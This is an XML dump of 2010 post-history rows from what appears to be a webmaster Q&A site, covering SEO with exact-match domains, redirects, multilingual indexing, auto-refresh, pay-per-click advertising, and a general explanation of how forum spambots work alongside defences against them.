  <row Id="7402" PostHistoryTypeId="2" PostId="3776" RevisionGUID="124bc4b7-f4d5-43f2-9e5f-70a1ddc03bbc" CreationDate="2010-10-12T18:26:30.323" UserId="745" Text="Here are a few resources that might help you:&#xD;&#xA;&#xD;&#xA; - [Google vs. Bing: Correlation&#xD;&#xA;   Analysis of Ranking Elements][1]&#xD;&#xA; - [Bing vs. Google: Prominence of&#xD;&#xA;   Ranking Elements][2]&#xD;&#xA; - [Linkfromdomain - A Linkbuilding Tip&#xD;&#xA;   For Use at Bing.com][3]&#xD;&#xA; - [Optimizing For Bing][4]&#xD;&#xA; - [Bing vs. Google: 5 Real World SERPs&#xD;&#xA;   Analyzed: Part 1][5]&#xD;&#xA; - [Google vs. Bing Part II: Link&#xD;&#xA;   Analysis][6]&#xD;&#xA;&#xD;&#xA;  [1]: http://www.seomoz.org/blog/google-vs-bing-correlation-analysis-of-ranking-elements&#xD;&#xA;  [2]: http://www.seomoz.org/blog/bing-vs-google-prominence-of-ranking-elements&#xD;&#xA;  [3]: http://www.seomoz.org/blog/linkfromdomain-a-linkbuilding-tip-for-use-at-bingcom&#xD;&#xA;  [4]: http://www.seobook.com/optimizing-bing&#xD;&#xA;  [5]: http://www.huomah.com/Search-Engines/Search-Engine-Optimization/Bing-vs.-Google-5-Real-World-SERPs-Analyzed-Part-1.html&#xD;&#xA;  [6]: http://www.huomah.com/Search-Engines/Search-Engine-Optimization/Google-vs.-Bing-Part-II-Link-Analysis.html" />
  <row Id="7403" PostHistoryTypeId="2" PostId="3777" RevisionGUID="bf540634-98ea-459c-96a3-f17aadf1894a" CreationDate="2010-10-12T18:35:28.787" UserId="2312" Text="Lets say I have a domain already, for example www.automobile4u.com (not mine), with a website fully running and all.&#xD;&#xA;&#xD;&#xA;The title of my &quot;Website&quot; says:&#xD;&#xA;&#xD;&#xA;      &lt;title&gt;Used cars - buy and sell your used cars here&lt;/title&gt;&#xD;&#xA;&#xD;&#xA;Also, lets say I have fully SEO the website so when people searching for the term **buy used cars**, I end up on the second or first page.&#xD;&#xA;&#xD;&#xA;Now, I want to end up higher, so I go to the google adwords page where you can check how many searches are made on specific terms.&#xD;&#xA;Lets say the term &quot;used cars&quot; has 20 million searches each month.&#xD;&#xA;&#xD;&#xA;Here comes the question, could I just go and buy that domain with the search terms adress, in this case **www.usedcars.com** and make a redirect to my original page, and this way when people search for &quot;used cars&quot;, my newly bought domain name comes up redirecting people to my original website (www.automobile4u.com)?&#xD;&#xA;&#xD;&#xA;The reason I believe this benefits me is because it seems search engines first of all check website adresses matching the search, so the query &quot;used cars&quot; would automatically bring www.usedcars.com to the first result right?&#xD;&#xA;&#xD;&#xA;What are the downsides for this?&#xD;&#xA;&#xD;&#xA;I already know about google spiders not liking redirects, but there are many methods of redirecting...&#xD;&#xA;&#xD;&#xA;Is this a good idea generally?" />
  <row Id="7404" PostHistoryTypeId="1" PostId="3777" RevisionGUID="bf540634-98ea-459c-96a3-f17aadf1894a" CreationDate="2010-10-12T18:35:28.787" UserId="2312" Text="Could I buy a domain name to increase traffic to my site like this?" />
  <row Id="7405" PostHistoryTypeId="3" PostId="3777" RevisionGUID="bf540634-98ea-459c-96a3-f17aadf1894a" CreationDate="2010-10-12T18:35:28.787" UserId="2312" Text="&lt;seo&gt;&lt;google&gt;&lt;domains&gt;&lt;css&gt;" />
  <row Id="7406" PostHistoryTypeId="2" PostId="3778" RevisionGUID="f4a976c3-e300-43fe-bf2c-7a29556b00ca" CreationDate="2010-10-12T18:56:34.890" UserId="1253" Text="This won't do what you hope it will do. The redirect will effectively tell Google that URL no longer exists and has moved to your new URL. Plus since the new domain also won't have any links pointing to it it won't transfer any link love over either. The only positive it will have is you can use it as a shorter and more recognizable domain name which is good for users. &#xD;&#xA;&#xD;&#xA;And just having the keywords in the domain does not automatically rank you #1 (or even well at all) just because it matches the search term. The domain name is just one of many factors affecting how a page is ranked. It's very, very common to see pages with the exact domain of a search term not rank #1 simply because other pages have much better content. &#xD;&#xA;&#xD;&#xA;Better content = better rankings. Make that your mantra if you want to do well in the search engines.&#xD;&#xA;&#xD;&#xA;(BTW, if this really worked everyone would buy the domains of the keywords they want to rank well for. They don't do it because it doesn't work. If it did then the first person to buy all the domains wins. Plus it is too easy to manipulate this way. The easier it is to manipulate the less it is used in the ranking algorithm if it is even used at all)." />
  <row Id="7407" PostHistoryTypeId="6" PostId="3777" RevisionGUID="de5782d8-f59b-487c-822f-af3f391ad11c" CreationDate="2010-10-12T19:00:44.593" UserId="1253" Comment="removed unnecessary css tag" Text="&lt;seo&gt;&lt;google&gt;&lt;domains&gt;" />
  <row Id="7408" PostHistoryTypeId="2" PostId="3779" RevisionGUID="9099eefa-ec79-4729-9225-d0c27c749295" CreationDate="2010-10-12T19:06:21.207" UserId="108" Text="John Conde is 100% correct in everything he said.&#xD;&#xA;&#xD;&#xA;There are two other considerations for purchasing the extra domain.&#xD;&#xA;&#xD;&#xA;First is it easy for people to remember the extra domain? Will they possibly type it in on a guess/hope that it is relevant.  bn.com is a good example of the first and usedcards.com is a good example of the second.  If that is the case and this is business site there could be value in purchasing it and doing the redirect.&#xD;&#xA;&#xD;&#xA;Secondly, if your business is in a space where there is or will be a lot of competition purchasing the domains for redirect purposes only has a lot of value in that it removes the choices for your competition and increases the domain presence of your company.&#xD;&#xA;&#xD;&#xA;Neither of these things will effect SERP but they present other value.  The company I work for currently has over 300 domain names registered just for these reasons." />
  <row Id="7409" PostHistoryTypeId="5" PostId="3741" RevisionGUID="6bc0b9b4-665d-46f8-a016-1197d8e6d9ac" CreationDate="2010-10-12T20:32:33.077" UserId="2288" Comment="added 1 characters in body" Text="Been having issues with stackexchange creating weird usernames for me and grouping them with my account, it appears to be a &lt;a href=&quot;http://meta.serverfault.com/questions/353/when-i-try-to-log-in-with-my-openid-i-see-a-weird-user-name&quot;&gt;known issue&lt;/a&gt;, and emailed the stackexchange team... which leads me to my questions, I'm looking for usability studies of user authentication methods and interfaces, do you know of any?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7410" PostHistoryTypeId="2" PostId="3780" RevisionGUID="31984a14-12fc-494a-9680-efeb08f02255" CreationDate="2010-10-12T20:38:43.497" UserId="2011" Text="If Subsite does everything you need except generating the correct path, I suggest that you contribute to the module and add the missing piece.&#xD;&#xA;&#xD;&#xA;The combination of Pathauto and Token modules is able to generate the URL you're looking for, if only Subsite exposes the subsite's name to the Token module by implementing hook_token_values and hook_token_list. There already is an issue for that: [pathauto/token support][1]. (I didn't even remember I wrote that, LOL!)&#xD;&#xA;&#xD;&#xA;Here is an example of token integration for taxonomy module: [token_taxonomy.inc][2]. I don't know the internals of Subsite module very well, but I think writing token integration shouldn't be too hard (assuming you can write php).&#xD;&#xA;&#xD;&#xA;  [1]: http://drupal.org/node/688108&#xD;&#xA;  [2]: http://drupalcontrib.org/api/drupal/contributions--token--token_taxonomy.inc/6/source" />
  <row Id="7411" PostHistoryTypeId="2" PostId="3781" RevisionGUID="b7f4bb45-c743-41c3-8ca4-d8a277e08fcd" CreationDate="2010-10-12T21:02:37.060" UserId="1953" Text="I've seen people use exact match domains for SEO purposes in a few different ways.&#xD;&#xA;&#xD;&#xA;One is to build micro sites (3-5 pages) and use them to filter traffic to their main domain, as John Conde mentioned exact match domain doesn't guarantee high rankings, but in niches that have very little competition it can sure help. My personal opinion is that most micro sites I see are just one step above doorway pages (that Google dislikes) and they don't reflect well on your brand.&#xD;&#xA;&#xD;&#xA;Another is to buy an established site that is already ranking well and redirecting it to get the value of all of their aged links, while there are plenty of good reasons to redirect whole domains (company gets acquired etc.) so I don't think Google gives a blanket penalty for redirecting whole sites, anytime you do something like that which is obviously manipulative of the search results and there is no obvious use to the user, you will run some risks. In my opinion if you're shelling out the cash for an established domain it's usually better to invest in building up the domain rather then redirect it and risk losing all value.&#xD;&#xA;&#xD;&#xA;Some use a slightly modified version of above and buy exact match domains in related niches build links to them through linkbait then redirect certain pages, or the whole domain when it's authoritative enough. This seems as though it would come with the same inherent risk as above.&#xD;&#xA;&#xD;&#xA;Lastly I see people buying exact match domains in niches where there aren't many link opportunities they put good content on the sites and use them to generate links to their main site, the challenge here is keeping the new site or sites supplied with useful information. But if you do have the resources to build a network of sites that are high quality it can be a good way to build your brand, traffic and rankings.&#xD;&#xA;&#xD;&#xA;I've seen all of these methods work, I'd say with the first 3 you probably want to know what you're doing or expect to take some losses as they are outside of Google's recommended best practices (as I understand them at least). The last one takes a good deal of effort and resources to ensure each site is current and useful." />
  <row Id="7418" PostHistoryTypeId="5" PostId="3679" RevisionGUID="f9ee6e4b-5e14-4b0f-bc92-2b597aa6afe7" CreationDate="2010-10-12T23:54:50.990" UserId="2279" Comment="added 357 characters in body" Text="I have a unusual set up with a website. Unfortunately I cannot serve the website source from the root domain i.e.&#xD;&#xA;&#xD;&#xA;    http://www.example.com&#xD;&#xA;&#xD;&#xA;I've been forced to redirect to a subdirectory to display the website content when the root URL is requested e.g.&#xD;&#xA;&#xD;&#xA;    http://www.example.com&#xD;&#xA;&#xD;&#xA;Has a 301 redirect to:&#xD;&#xA;&#xD;&#xA;    http://www.example.com/subdirectory/index.html&#xD;&#xA;&#xD;&#xA;Would it have an adverse affect on SEO to have this at the root domain?&#xD;&#xA;&#xD;&#xA;**Update:**&#xD;&#xA;&#xD;&#xA;After reading the below posts and studying the recommended links I used a 302 redirect. I chose this option since it appears that the Google recommendation is to use a 302 if it is a redirect from the root domain. To counter measure any possible duplication issues I made use of the rel=&quot;canonical&quot; tag on the destination of the redirect.&#xD;&#xA;" />
  <row Id="7419" PostHistoryTypeId="2" PostId="3783" RevisionGUID="88634929-812d-4bb7-9a46-a232954d510b" CreationDate="2010-10-13T00:41:11.447" UserId="2315" Text="Want to preload a complete web page? Boy, do I have the *perfect* solution for you!&#xD;&#xA;&#xD;&#xA;Firefox supports [link prefetching](http://en.wikipedia.org/wiki/Link_prefetching), and it's part of HTML 5, meaning more browsers will support it in the months ahead.&#xD;&#xA;&#xD;&#xA;Just stick something like this in the `&lt;head&gt;` section of your HTML document:&#xD;&#xA;&#xD;&#xA;    &lt;link rel=&quot;prefetch&quot; href=&quot;http://url.goes.here/&quot; /&gt;&#xD;&#xA;    &lt;link rel=&quot;prefetch&quot; href=&quot;http://url.goes.here/images_work_too.jpg&quot; /&gt;&#xD;&#xA;&#xD;&#xA;Read more about it here:&#xD;&#xA;&#xD;&#xA;* http://en.wikipedia.org/wiki/Link_prefetching&#xD;&#xA;* http://www.whatwg.org/specs/web-apps/current-work/#link-type-prefetch&#xD;&#xA;* https://developer.mozilla.org/en/link_prefetching_faq" />
  <row Id="7420" PostHistoryTypeId="2" PostId="3784" RevisionGUID="4d4bc685-9226-477e-90f0-922c3682510c" CreationDate="2010-10-13T04:23:55.603" UserId="2026" Text="I seen many sites which are refreshing their pages after a fixed interval. Sometimes it is 1-2 mins only.&#xD;&#xA;&#xD;&#xA;If i refresh a page after every 5 mins. It'll helpful to notify user with updated contents.&#xD;&#xA;Please tell me&#xD;&#xA;&#xD;&#xA;1. should i use Ajax for the same instead of reloading the complete page?&#xD;&#xA;2. Would it affect google analytics js script? Means, whether the counter for visits will be increasing?&#xD;&#xA;3. Would it affect adsense?" />
  <row Id="7421" PostHistoryTypeId="1" PostId="3784" RevisionGUID="4d4bc685-9226-477e-90f0-922c3682510c" CreationDate="2010-10-13T04:23:55.603" UserId="2026" Text="Is it good to refresh a page after a fixed interval?" />
  <row Id="7422" PostHistoryTypeId="3" PostId="3784" RevisionGUID="4d4bc685-9226-477e-90f0-922c3682510c" CreationDate="2010-10-13T04:23:55.603" UserId="2026" Text="&lt;google-adsense&gt;&lt;performance&gt;" />
  <row Id="7423" PostHistoryTypeId="2" PostId="3785" RevisionGUID="9e0fa935-8ef5-4f00-b51c-08b28c6bc591" CreationDate="2010-10-13T04:28:18.630" UserId="2026" Text="I visit many sites but click on their ads very rarely. I suppose many people do the same thing.&#xD;&#xA;&#xD;&#xA;Do you think that publishing an article under  &quot;pay per click&quot; policy, can give good earning?" />
  <row Id="7424" PostHistoryTypeId="1" PostId="3785" RevisionGUID="9e0fa935-8ef5-4f00-b51c-08b28c6bc591" CreationDate="2010-10-13T04:28:18.630" UserId="2026" Text="Does &quot;pay per click&quot; is really effective?" />
  <row Id="7425" PostHistoryTypeId="3" PostId="3785" RevisionGUID="9e0fa935-8ef5-4f00-b51c-08b28c6bc591" CreationDate="2010-10-13T04:28:18.630" UserId="2026" Text="&lt;google-adsense&gt;" />
  <row Id="7426" PostHistoryTypeId="4" PostId="3785" RevisionGUID="9783dd16-aba6-4559-ab17-51e6927eeeb8" CreationDate="2010-10-13T05:47:51.703" UserId="2026" Comment="edited title" Text="Does &quot;pay per click&quot; really effective?" />
  <row Id="7427" PostHistoryTypeId="2" PostId="3786" RevisionGUID="d68a013b-7804-46ed-a7b0-4dad2b372f59" CreationDate="2010-10-13T06:41:49.543" UserId="2319" Text="Sorry, this post became a bit loquacious - but I haven't found any satisfactory answers on the web thus far.&#xD;&#xA;&#xD;&#xA;I've been developing a website for a while now, into which I've built support for multiple languages. All the terms, words and phrases are stored in a file in JSON format which is decoded and converted into an array. With this, it's easy to create the entire site in a different language. The website consists of 100% home-cooked code... no Wordpress, Drupal or any other framework, so none of the multi-language plugins for the aforementioned will work. &#xD;&#xA;&#xD;&#xA;To switch language, the user clicks a link at the top of the page (positioned at the top, in reality, it's at the bottom of the HTML structure). Each page of the site has this menu, whereby a query string parameter is added. `/hotels/index.html` becomes `/hotels/index.html?lang=fr`. The script sees the `lang` parameter, changes the user's cookie and loads the appropriate JSON file, and they are returned back to the same page they were on without the `lang` parameter. This has been a very convenient way to switch languages, as the user remains on the same page, and the links are exactly the same. I built it this way after another site that required multiple language support where SEO was not a priority (an internal company-only program).&#xD;&#xA;&#xD;&#xA;If a visitor comes to the site for the first time, the script looks at the `HTTP_ACCEPT_LANG` constant and loads the appropriate language and sets the cookie (instead of geo-locating, which takes longer, and I personally dislike - I live in Thailand, and even Google serves the Thai version even though I have my OS and browser in English).&#xD;&#xA;&#xD;&#xA;My question is - I'd eventually like Google and other SE's to index the site in these other languages, but without the `lang` attribute in the URL. If the user uses Google in French or Russian, they get served the site in French or Russian, respectively. Since the URL `/hotels/index.html` would have a version in English (default), French and Russian, but still having the same URL, I assume this is a problem for Google and other SE's.&#xD;&#xA;&#xD;&#xA;Can someone explain how Google indexes multiple-language sites setup in this manner? Would using a sub-domain work best to separate them? I do not wish to alter the way URL's are handled on the site, as I like to keep as few query strings as possible from being indexed.&#xD;&#xA;&#xD;&#xA;On another note, I accidentally opened the site for indexing with the language links, and somehow, the redirects did not work properly, and I have links such as `/something/index.html?lang=ru?lang=ru` indexed in Google. I've detected these in the script and placed a 301 redirect to remove these `lang` parameters... will these bad links be replaced with the redirected URL's in Google over time?" />
  <row Id="7428" PostHistoryTypeId="1" PostId="3786" RevisionGUID="d68a013b-7804-46ed-a7b0-4dad2b372f59" CreationDate="2010-10-13T06:41:49.543" UserId="2319" Text="Multiple Language Website and SEO" />
  <row Id="7429" PostHistoryTypeId="3" PostId="3786" RevisionGUID="d68a013b-7804-46ed-a7b0-4dad2b372f59" CreationDate="2010-10-13T06:41:49.543" UserId="2319" Text="&lt;seo&gt;&lt;redirects&gt;&lt;language&gt;" />
  <row Id="7430" PostHistoryTypeId="2" PostId="3787" RevisionGUID="b9a147d9-d86c-46ee-adc5-2df562b9d367" CreationDate="2010-10-13T07:28:49.027" UserId="1089" Text="I'm not sure what you mean, do you mean spending money on adsense campaigns, or actually putting adsense campaigns on your website? (or something different again?)&#xD;&#xA;&#xD;&#xA;My experience - one of the websites I help out with (selling car parts) spends money on adwords campaigns desipte doing well in organic rankings, we have trialled abandoning adwords and traffic/takings went down, so we continue paying for the meantime.&#xD;&#xA;" />
  <row Id="7431" PostHistoryTypeId="2" PostId="3788" RevisionGUID="b3e1810f-5f7e-4d53-b26d-79fb22512931" CreationDate="2010-10-13T07:35:44.097" UserId="1089" Text="I hate websites which do this. I like to be in control of my browser, automatically refreshing the page without valid reason/warning* is a sure fire way for me to leave a website and never come back.&#xD;&#xA;&#xD;&#xA;*There are times when refreshing is appropriate - the [bbc sports website][1] during sporting events (live football (soccer) matches, cricket, golf etc) has a smart piece of ajax which pulls the latest update in and moves the content further down the page - note the whole screen doesn't refresh. It's unobtrusive and there is a small warning stating that this happens. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.bbc.co.uk" />
  <row Id="7432" PostHistoryTypeId="2" PostId="3789" RevisionGUID="3f434662-c79f-422b-a29f-edb41127faf6" CreationDate="2010-10-13T07:43:51.957" UserId="2290" Text="from your description i would say ... your site is in no way SEO optimized for multiple languages and it will be a pain to trim it in this direction.&#xD;&#xA;&#xD;&#xA;there is now this approach: http://googlewebmastercentral.blogspot.com/2010/09/unifying-content-under-multilingual.html&#xD;&#xA;&#xD;&#xA;basically you can use it to push language switch URLs to google. but this is more than a fix for not SEO optimized sites than a real solution. " />
  <row Id="7433" PostHistoryTypeId="2" PostId="3790" RevisionGUID="296d8c3f-7268-4012-b52c-7a304b1de5f6" CreationDate="2010-10-13T08:12:21.733" UserId="2292" Text="I don't have a yes/no answer to your question. From my experience:&#xD;&#xA;&#xD;&#xA; - AdWords could make sense. You have to be really careful when crafting your message and when crafting the landing page. It's really important that you don't mislead the visitor that he/she'll find something that he won't. Just like you, I personally don't click paid campaigns, however many people who are on the look for a solution, do. If AdWords campaigns are well optimized, they can guarantee you a conversion rate (purchase) similar to the one that comes from organic search (which along with direct traffic, is usually the most qualified traffic). &#xD;&#xA; - AdSense is a different story, I think. Google is in charge with &quot;deciding&quot; on which site of its advertising network it will have your ad displayed, which leaves control out of your hands. There is an option to specify the exact websites on which Google will display your ad, however, it's much more expensive - I haven't tried it yet.&#xD;&#xA;" />
  <row Id="7434" PostHistoryTypeId="2" PostId="3791" RevisionGUID="c91cde65-b971-4d41-9460-e1c9b1e7363e" CreationDate="2010-10-13T10:07:32.753" UserDisplayName="Prakash Raman" Text="I would like to know the options I have on advertising my web application ?&#xD;&#xA;&#xD;&#xA;Are there websites I can submit my web application to ?&#xD;&#xA;&#xD;&#xA;* How important is search engine optimization ? How much effort should I put into it ?&#xD;&#xA;* Currently, my application has two clients, google chrome extension and an emacs client. Are there specific websites/forums I can post these clients to ?&#xD;&#xA;* Any general advice I should follow to advertise my application ?&#xD;&#xA;&#xD;&#xA;Little about the application:&#xD;&#xA;It is a note taking application, in which tags are implicitly created from the notes.&#xD;&#xA;&#xD;&#xA;If this question should not be posted here, I will delete it.&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="7435" PostHistoryTypeId="1" PostId="3791" RevisionGUID="c91cde65-b971-4d41-9460-e1c9b1e7363e" CreationDate="2010-10-13T10:07:32.753" UserDisplayName="Prakash Raman" Text="How to I advertise my web application?" />
  <row Id="7436" PostHistoryTypeId="3" PostId="3791" RevisionGUID="c91cde65-b971-4d41-9460-e1c9b1e7363e" CreationDate="2010-10-13T10:07:32.753" UserDisplayName="Prakash Raman" Text="&lt;advertising&gt;&lt;web-services&gt;" />
  <row Id="7437" PostHistoryTypeId="2" PostId="3792" RevisionGUID="bfb12c43-5c4f-4aeb-9ea9-1455f3f0f4bd" CreationDate="2010-10-13T10:15:23.253" UserId="1757" Text="This is why it's a good idea to take a look at popular frameworks and CMSes before designing your own. These are very common problems that have been solved countless times by many different developers. Some of them are not obvious when you first sit down to design a CMS, so it helps to take a look at what's out there and see what some common problems/solutions/conventions are when building a CMS.&#xD;&#xA;&#xD;&#xA;First off, basic content ought to be served statelessly from unique URLs. It's fine to save user language preferences by a cookie or session variable, but what you should do is redirect the user to the right URL/subsite to view the content in their preferred language. Otherwise, you're effectively cloaking your content from search engines (not in a malicious way, but in a self-harming way).&#xD;&#xA;&#xD;&#xA;So, whatever primary language is used on your site, that version of a page would be:&#xD;&#xA;&#xD;&#xA;    http://foo/bar&#xD;&#xA;&#xD;&#xA;Then the localizations will be:&#xD;&#xA;&#xD;&#xA;    http://ru.foo/bar&#xD;&#xA;    http://fr.foo/bar&#xD;&#xA;    http://de.foo/bar&#xD;&#xA;    etc.&#xD;&#xA;&#xD;&#xA;You don't necessarily need to use clean-URLs so long as each page can be accessed from a unique URL without needing a cookie; so you could still do something like:&#xD;&#xA;&#xD;&#xA;    http://foo/bar?lang=ru&#xD;&#xA;    http://foo/bar?lang=fr&#xD;&#xA;    http://foo/bar?lang=de&#xD;&#xA;&#xD;&#xA;But it's generally accepted that clean URLs are more user-friendly and thus also search-engine-friendly.&#xD;&#xA;&#xD;&#xA;Now, implementing this change should be fairly easy on a conventional CMS or CMS framework, since most have a routing engine that allows one to easily add custom routes to content. If you don't, and your URLs are not decoupled from your application architecture, then it may take more work." />
  <row Id="7438" PostHistoryTypeId="2" PostId="3793" RevisionGUID="18ea7598-04ad-42ec-b195-5f4676257ca9" CreationDate="2010-10-13T10:32:39.740" UserId="1955" Text="[Google Adwords][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://adwords.google.com/" />
  <row Id="7439" PostHistoryTypeId="16" PostId="3791" RevisionGUID="71487f97-bcd3-4748-9904-2c19c3c86b74" CreationDate="2010-10-13T10:44:10.210" UserDisplayName="Prakash Raman" />
  <row Id="7440" PostHistoryTypeId="2" PostId="3794" RevisionGUID="cefbfbb0-8fc0-48b8-b1e0-0d8183976d0c" CreationDate="2010-10-13T12:04:41.980" UserId="1253" Text="Automatic refresh is fine if the content is something that is constantly changing and the users would expect and want the most recent content. ESPN.com uses this to update the pages where they report scores. In that case the reload the entire page. NFL.com only updates scores that change instead of reloading the whole page.&#xD;&#xA;&#xD;&#xA;How you do it depends on your goals and your users' expectations. Using Ajax is a good idea as it is fast and doesn't affect page statistics like Google Analytics. But refreshing the page may be required if you want to count every page load or do other more complex things that may be too much for Ajax (or just simpler without it)." />
  <row Id="7441" PostHistoryTypeId="2" PostId="3795" RevisionGUID="9adf1b44-4a0b-40b3-84f5-04674fd9d8e9" CreationDate="2010-10-13T12:11:49.247" UserId="1828" Text="The problem I found was that the URL is split between the file and the variables as would be expected.&#xD;&#xA;&#xD;&#xA;So everything after the ? is taken as a querystring.&#xD;&#xA;&#xD;&#xA;You need to add a condition to check the query string (you can include Regular Expressions)&#xD;&#xA;&#xD;&#xA;    RewriteCond %{QUERY_STRING} ^viewtest&amp;id=56&amp;sat=9&amp;mainsat=1&amp;start=0$  &#xD;&#xA;    RewriteRule ^/test/test.php$ http://www.WEBADDRESS.co.uk/WEBPAGE.html? [R=301,L]&#xD;&#xA;&#xD;&#xA;Also notice the ? after the redirected URL, this stops the variables being appended to the new URL" />
  <row Id="7443" PostHistoryTypeId="2" PostId="3796" RevisionGUID="78f033b3-bd1f-4d6d-a66a-c65e2078f729" CreationDate="2010-10-13T14:20:10.233" UserId="1253" Text="&gt; How important is search engine&#xD;&#xA;&gt; optimization ? How much effort should&#xD;&#xA;&gt; I put into it ?&#xD;&#xA;&#xD;&#xA;Since free traffic is a good thing you definitely should be interested in it. Having said that, you should *need* to put much effort into it. A well built website is search engine optimized by default. Since SEO is mostly a combination of usability, accessibility, semantic markup, and good content a quality website will have kept all of those in consideration while building the site since **that's what users want**. No one in their right mind can reasonably expect to do anything less then that and expect to have a successful website anyway. So if you have to go back and &quot;SEO your website&quot; what you're really saying is you have to go back and &quot;fix your website&quot;. If your website was built properly and you have quality content don't worry about SEO. Natural marketing will help you do the rest (e.g. build quality links to your web pages)." />
  <row Id="7444" PostHistoryTypeId="2" PostId="3797" RevisionGUID="ed3b3402-134c-4272-9bcf-26bb3c5b471e" CreationDate="2010-10-13T15:37:27.040" UserId="2324" Text="I hope this is the right place to ask: For a little research I need to know how many Domains per TLD are registered (approximately). I've only found some lists with the top 10 TLDs and their number of registered domains..." />
  <row Id="7445" PostHistoryTypeId="1" PostId="3797" RevisionGUID="ed3b3402-134c-4272-9bcf-26bb3c5b471e" CreationDate="2010-10-13T15:37:27.040" UserId="2324" Text="How many domains per each TLD are registered?" />
  <row Id="7446" PostHistoryTypeId="3" PostId="3797" RevisionGUID="ed3b3402-134c-4272-9bcf-26bb3c5b471e" CreationDate="2010-10-13T15:37:27.040" UserId="2324" Text="&lt;domains&gt;" />
  <row Id="7447" PostHistoryTypeId="2" PostId="3798" RevisionGUID="f0209990-60ed-4446-95ab-7b6b47a8d648" CreationDate="2010-10-13T16:09:08.343" UserId="108" Text="This should give you a pretty good list, http://www.domaintools.com/internet-statistics/. This one lists only the top few TLDs.&#xD;&#xA;&#xD;&#xA;The site http://www.dailychanges.com/ will give you counts by registrar and if you click on each registrar it will list the domains registered.  This information can be downloaded and with the proper scraper code you could probably batch download all of the domains by registrar and use that information to create a list of TLDs and the number currently registered.  This would take some serious work though." />
  <row Id="7448" PostHistoryTypeId="2" PostId="3799" RevisionGUID="74e2448f-30f7-4254-8a47-69f37dfa35c2" CreationDate="2010-10-13T16:11:40.773" UserId="1253" Text="&gt; How do they find the 'new user&#xD;&#xA;&gt; registration' page? (I'm especially&#xD;&#xA;&gt; surprised because some forums don't&#xD;&#xA;&gt; have a dedicated URL for this eg,&#xD;&#xA;&gt; www.forum.com/register.html , but&#xD;&#xA;&gt; instead use query strings or even&#xD;&#xA;&gt; other methods invisible to the URL&#xD;&#xA;&gt; bar)&#xD;&#xA;&#xD;&#xA;They find new sites by:&#xD;&#xA;&#xD;&#xA; - Crawling and looking for signatures of known software. Usually this is a snippet of text like a copyright or a meta tag but it could be any consistent identifier. This usually applies to blog and forum software.&#xD;&#xA; - Manual inclusion. Human beings, whose labor is cheap in many parts of the world, look for known software or forms that are easily exploitable and add them to a database. This usually applies to custom registration and contact forms.&#xD;&#xA; - They buy lists. Just like email addresses are sold by spammers, known vulnerable or preferred target site lists are sold as well.&#xD;&#xA;&#xD;&#xA;&gt; How do they know what to enter into&#xD;&#xA;&gt; each 'new user registration' field?&#xD;&#xA;&#xD;&#xA;They know what to enter into each field by using the field names as a guide. 99.99% of the time the email address field is named &quot;email&quot; or something containing the word &quot;email&quot;. You don't have to be a rocket scientist to know that field probably is for an email address. For things like names, login ID, addresses, etc, it works on the same principle.&#xD;&#xA;&#xD;&#xA;&gt; How do they determine what's a page&#xD;&#xA;&gt; they can spam / enter data into and&#xD;&#xA;&gt; what is not?&#xD;&#xA;&#xD;&#xA;They don't care. The automated tools can try so many forms in such a short period of time at virtually no costs so trying every form possible is a no-brainer to do. When human labor is involved they can be &quot;script kiddies&quot; and try the obvious stuff to see if they get any kind of response that indicates the form is potentially vulnerable. Basically, any form is a potential target to them as is any page that accepts user input.&#xD;&#xA;&#xD;&#xA;&gt; How do forum spambots work? &#xD;&#xA;&gt;&#xD;&#xA;&gt; Do they even 'view' this page at all? ..If not, then I'd assume they're&#xD;&#xA;&gt; communicating with the server directly&#xD;&#xA;&gt; - how is - this possible? How do they do it?&#xD;&#xA;&gt;&#xD;&#xA;&gt; Where do spambots come from? Is someone sitting behind the computer snickering as they watch their bot destroy site after site? Or are they snickering as they simply 'release' it onto the internet somehow? Are spambots 'run' by an infected computer somewhere? Do they replicate themselves?&#xD;&#xA;&#xD;&#xA;It's all automated. Tools like [xrumer][1] are built, and sold, and contain the ability to exploit software with known vulnerabilities. Anyone can buy it and after setting it up it's more or less fire and forget. It goes to every forum in its list and tries to spam it to the best of its ability. Just due to brute force it is successful and worth it for the spammers. That's why they never stop. They barely have to lift a finger for it to work.&#xD;&#xA;&#xD;&#xA;&gt; Can forum spambots break CAPTCHAs? Can&#xD;&#xA;&gt; they solve logic questions (how?)?&#xD;&#xA;&gt; Math questions?&#xD;&#xA;&#xD;&#xA;Yes, but not always. Depends on how well the implementation is. But many captchas, including those offered by big companies, have been beaten and are effectively useless. That's why multiple forms of protections are required to stop them. Even then, humans can usually beat any system.&#xD;&#xA;&#xD;&#xA;&gt; What techniques are still valid to&#xD;&#xA;&gt; prevent them?&#xD;&#xA;&#xD;&#xA;[From a previous answer][2]: You could do several things (and should be doing more then one)  including:&#xD;&#xA;&#xD;&#xA;1) Putting a fake field that only bots will see. Then if that field is submitted with the rest of the form you can ignore it (and ban them if desired). You can also [trap bad bots who follow a hidden link][3].&#xD;&#xA;&#xD;&#xA;2) Use a CAPATCHA like [reCAPTCHA][4] &#xD;&#xA;&#xD;&#xA;3) Use a field that requires the user to answer a question like what is 5 + 3. Any human can answer it but a bot won't know what to do since it is auto-populating fields based on field names. So that field will be either incorrect or missing in which case the submission will be rejected.&#xD;&#xA;&#xD;&#xA;4) Use a token and put it into a session and also add it to the form. If the token is not submitted with the form or doesn't match then it is automated and can be ignored.&#xD;&#xA;&#xD;&#xA;5) Look for repeated submissions from the same IP address. If your form shouldn't get too many requests but suddenly is it probably is being hit by a bot and you should consider temporarily blocking the IP address.&#xD;&#xA;&#xD;&#xA;6) Use [Askimet][5]. It is great at identifying spam.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/XRumer&#xD;&#xA;  [2]: http://webmasters.stackexchange.com/questions/3544/make-your-site-anti-bot/3545#3545&#xD;&#xA;  [3]: http://www.kloth.net/internet/bottrap.php&#xD;&#xA;  [4]: http://recaptcha.com/&#xD;&#xA;  [5]: http://akismet.com/" />
